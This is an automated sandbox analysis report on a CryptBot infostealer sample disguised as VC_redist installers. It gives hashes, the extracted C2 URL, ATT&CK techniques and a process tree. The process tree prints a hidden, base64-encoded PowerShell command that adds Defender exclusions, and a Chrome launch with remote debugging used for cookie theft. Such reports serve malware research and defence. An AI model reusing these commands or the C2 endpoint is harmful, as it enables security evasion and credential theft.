cryptbot | 8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452

Analysis

max time kernel
149s
max time network
156s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17/02/2025, 01:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
Size

3.8MB
MD5

b80fe721ecebeaaf99eb4fa7485644a7
SHA1

18b6d820d5636f68f1e4b788db8500f8553629c2
SHA256

8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452
SHA512

fc46e8bf1f5721dd3feb5f0703272bb66006aa1dbec3fcfa3aa58cdcb2324399e2bbb385d02041cdb0e5a2d5e492805a6a4924c8db8132b4255d03cd07c97f27
SSDEEP

98304:Zs2we8EipV6574GYxThZN+5o4ZQGhNvYH3:wEipS4Ge7N+5m

Score

10^/10

cryptbot credential_access defense_evasion discovery execution spyware stealer

Malware Config

Extracted

Family

cryptbot

http://home.elvncc11vs.top/XBsnAZXLtQYcAoRtYQZi18

Signatures

CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
spyware stealer cryptbot
Cryptbot family
cryptbot

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	VC_redist.x86.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5000	powershell.exe

Uses browser remote debugging 2 TTPs 3 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3676	chrome.exe
2672	chrome.exe
2008	chrome.exe

Executes dropped EXE 3 IoCs

pid	Process
2720	VC_redist.x64.exe
1784	VC_redist.x86.exe
2940	Key.exe

Loads dropped DLL 6 IoCs

pid	Process
1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
3176	taskeng.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x00070000000195ab-2813.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x86.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	VC_redist.x86.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	VC_redist.x86.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
5000	powershell.exe
1784	VC_redist.x86.exe
1784	VC_redist.x86.exe
1784	VC_redist.x86.exe
1784	VC_redist.x86.exe
1784	VC_redist.x86.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
2940	Key.exe
3676	chrome.exe
3676	chrome.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	VC_redist.x64.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	2940	Key.exe
Token: SeShutdownPrivilege	3676	chrome.exe
Token: SeShutdownPrivilege	3676	chrome.exe
Token: SeShutdownPrivilege	3676	chrome.exe
Token: SeShutdownPrivilege	3676	chrome.exe
Token: SeShutdownPrivilege	3676	chrome.exe
Token: SeShutdownPrivilege	3676	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe
3676	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 2720	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	30
PID 1064 wrote to memory of 2720	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	30
PID 1064 wrote to memory of 2720	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	30
PID 1064 wrote to memory of 2720	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	30
PID 4968 wrote to memory of 5000	4968	taskeng.exe	34
PID 4968 wrote to memory of 5000	4968	taskeng.exe	34
PID 4968 wrote to memory of 5000	4968	taskeng.exe	34
PID 1064 wrote to memory of 1784	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	36
PID 1064 wrote to memory of 1784	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	36
PID 1064 wrote to memory of 1784	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	36
PID 1064 wrote to memory of 1784	1064	8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe	36
PID 3176 wrote to memory of 2940	3176	taskeng.exe	38
PID 3176 wrote to memory of 2940	3176	taskeng.exe	38
PID 3176 wrote to memory of 2940	3176	taskeng.exe	38
PID 2940 wrote to memory of 2528	2940	Key.exe	39
PID 2940 wrote to memory of 2528	2940	Key.exe	39
PID 2940 wrote to memory of 2528	2940	Key.exe	39
PID 2940 wrote to memory of 2868	2940	Key.exe	40
PID 2940 wrote to memory of 2868	2940	Key.exe	40
PID 2940 wrote to memory of 2868	2940	Key.exe	40
PID 2940 wrote to memory of 2604	2940	Key.exe	41
PID 2940 wrote to memory of 2604	2940	Key.exe	41
PID 2940 wrote to memory of 2604	2940	Key.exe	41
PID 2940 wrote to memory of 3372	2940	Key.exe	42
PID 2940 wrote to memory of 3372	2940	Key.exe	42
PID 2940 wrote to memory of 3372	2940	Key.exe	42
PID 2940 wrote to memory of 3160	2940	Key.exe	43
PID 2940 wrote to memory of 3160	2940	Key.exe	43
PID 2940 wrote to memory of 3160	2940	Key.exe	43
PID 2940 wrote to memory of 3440	2940	Key.exe	44
PID 2940 wrote to memory of 3440	2940	Key.exe	44
PID 2940 wrote to memory of 3440	2940	Key.exe	44
PID 2940 wrote to memory of 872	2940	Key.exe	45
PID 2940 wrote to memory of 872	2940	Key.exe	45
PID 2940 wrote to memory of 872	2940	Key.exe	45
PID 2940 wrote to memory of 3732	2940	Key.exe	46
PID 2940 wrote to memory of 3732	2940	Key.exe	46
PID 2940 wrote to memory of 3732	2940	Key.exe	46
PID 2940 wrote to memory of 3284	2940	Key.exe	47
PID 2940 wrote to memory of 3284	2940	Key.exe	47
PID 2940 wrote to memory of 3284	2940	Key.exe	47
PID 2940 wrote to memory of 3796	2940	Key.exe	48
PID 2940 wrote to memory of 3796	2940	Key.exe	48
PID 2940 wrote to memory of 3796	2940	Key.exe	48
PID 1784 wrote to memory of 3676	1784	VC_redist.x86.exe	50
PID 1784 wrote to memory of 3676	1784	VC_redist.x86.exe	50
PID 1784 wrote to memory of 3676	1784	VC_redist.x86.exe	50
PID 1784 wrote to memory of 3676	1784	VC_redist.x86.exe	50
PID 3676 wrote to memory of 1188	3676	chrome.exe	51
PID 3676 wrote to memory of 1188	3676	chrome.exe	51
PID 3676 wrote to memory of 1188	3676	chrome.exe	51
PID 3676 wrote to memory of 3624	3676	chrome.exe	52
PID 3676 wrote to memory of 3624	3676	chrome.exe	52
PID 3676 wrote to memory of 3624	3676	chrome.exe	52
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54
PID 3676 wrote to memory of 2396	3676	chrome.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe
"C:\Users\Admin\AppData\Local\Temp\8520d7d21039b7bbd73d0ccc72d27da6aae62dd88bf2e759046baca8c0fbd452.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
  2⤵
  - Enumerates VirtualBox registry keys
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef73a9758,0x7fef73a9768,0x7fef73a9778
      4⤵
      PID:1188
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:3624
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1212 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:2
      4⤵
      PID:2396
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1564 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:8
      4⤵
      PID:2836
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1676 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:8
      4⤵
      PID:832
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2364 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2672
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2376 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2008
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1488 --field-trial-handle=1364,i,1319317531492269682,16043176326037037948,131072 /prefetch:2
      4⤵
      PID:4748

C:\Windows\system32\taskeng.exe
taskeng.exe {F9EFE09B-8CCB-47D3-9844-3C9BAD8345EB} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:S4U:
1⤵
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBEAGQALQBNAFAAcABSAGUAZgBFAFIAZQBuAGMAZQAgAC0ARQB4AGMAbABVAFMASQBvAE4AcABBAFQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAHMAcwBhAGcAZQBcAEsAZQB5AC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXAAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBmAE8AcgBjAEUAOwAgAEEAZABkAC0AbQBQAFAAcgBFAGYAZQByAGUAbgBjAEUAIAAtAGUAeABjAEwAdQBTAGkAbwBOAFAAcgBPAGMARQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGUAcwBzAGEAZwBlAFwASwBlAHkALgBlAHgAZQAgAC0AZgBPAFIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000

C:\Windows\system32\taskeng.exe
taskeng.exe {2681FC82-723F-4FA4-97CE-4B88F0704229} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Users\Admin\AppData\Roaming\Message\Key.exe
  C:\Users\Admin\AppData\Roaming\Message\Key.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:2528
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:2868
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:2604
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3372
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3160
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3440
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:872
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3732
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3284
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    PID:3796

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000007.dbtmp

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

Filesize
653KB

MD5
fbde224ef7968af7fab765fd06c4b704

SHA1
db28eaf767625e31891d224eb1f325edabbb0c13

SHA256
14731cefeffd3d90816d3769a00cdea8c42f7adec9c4a81af5fcabf6c184123f

SHA512
41d2c3e5c4dc3f9b04f3d2133dbe365a00bbe9ccbae24bc03ff243b00c28b7671f4d483258cfb2015c93a76f3da348ade7f383403566749e2b4ee19c6d606d18

Download Submit
\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

Filesize
9.7MB

MD5
ffe4ea851fa231ed77b908e5ed8ccf98

SHA1
aa2a0aaaf3e75c22bf7ff2eda7e56b0f942e9f49

SHA256
6966d14c23c8f79da7b9eb8648add32dd1a32527929749e5a3689360d70e663c

SHA512
f794d90fdb6548eda31d4d9ade0cc088ff5275d81fe7fcfa762e8c85ad7f7baf966576a152466edc3a7b04c23add45f9a02464b099780d68db0219e35224b761

Download Submit
memory/2720-57-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-67-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-14-0x000000001BD40000-0x000000001BE4A000-memory.dmp

Filesize
1.0MB

Download
memory/2720-15-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

Filesize
9.9MB

Download
memory/2720-21-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-31-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-43-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-47-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-65-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-79-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-77-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-75-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-73-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-71-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-69-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-53-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-63-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-61-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-59-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-12-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp

Filesize
4KB

Download
memory/2720-55-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-2799-0x0000000000D90000-0x0000000000DDC000-memory.dmp

Filesize
304KB

Download
memory/2720-13-0x0000000001000000-0x00000000010A8000-memory.dmp

Filesize
672KB

Download
memory/2720-2798-0x0000000000C90000-0x0000000000CE6000-memory.dmp

Filesize
344KB

Download
memory/2720-16-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-49-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-45-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-41-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-39-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-37-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-29-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-27-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-25-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-23-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-18-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-35-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-33-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-19-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-51-0x000000001BD40000-0x000000001BE46000-memory.dmp

Filesize
1.0MB

Download
memory/2720-2800-0x0000000000DE0000-0x0000000000E34000-memory.dmp

Filesize
336KB

Download
memory/2720-2801-0x000007FEF55F3000-0x000007FEF55F4000-memory.dmp

Filesize
4KB

Download
memory/2720-2806-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

Filesize
9.9MB

Download
memory/2720-2811-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp

Filesize
9.9MB

Download
memory/2940-2831-0x0000000001300000-0x00000000013A8000-memory.dmp

Filesize
672KB

Download
memory/5000-2807-0x0000000019F20000-0x000000001A202000-memory.dmp

Filesize
2.9MB

Download
memory/5000-2808-0x0000000000A30000-0x0000000000A38000-memory.dmp

Filesize
32KB

Download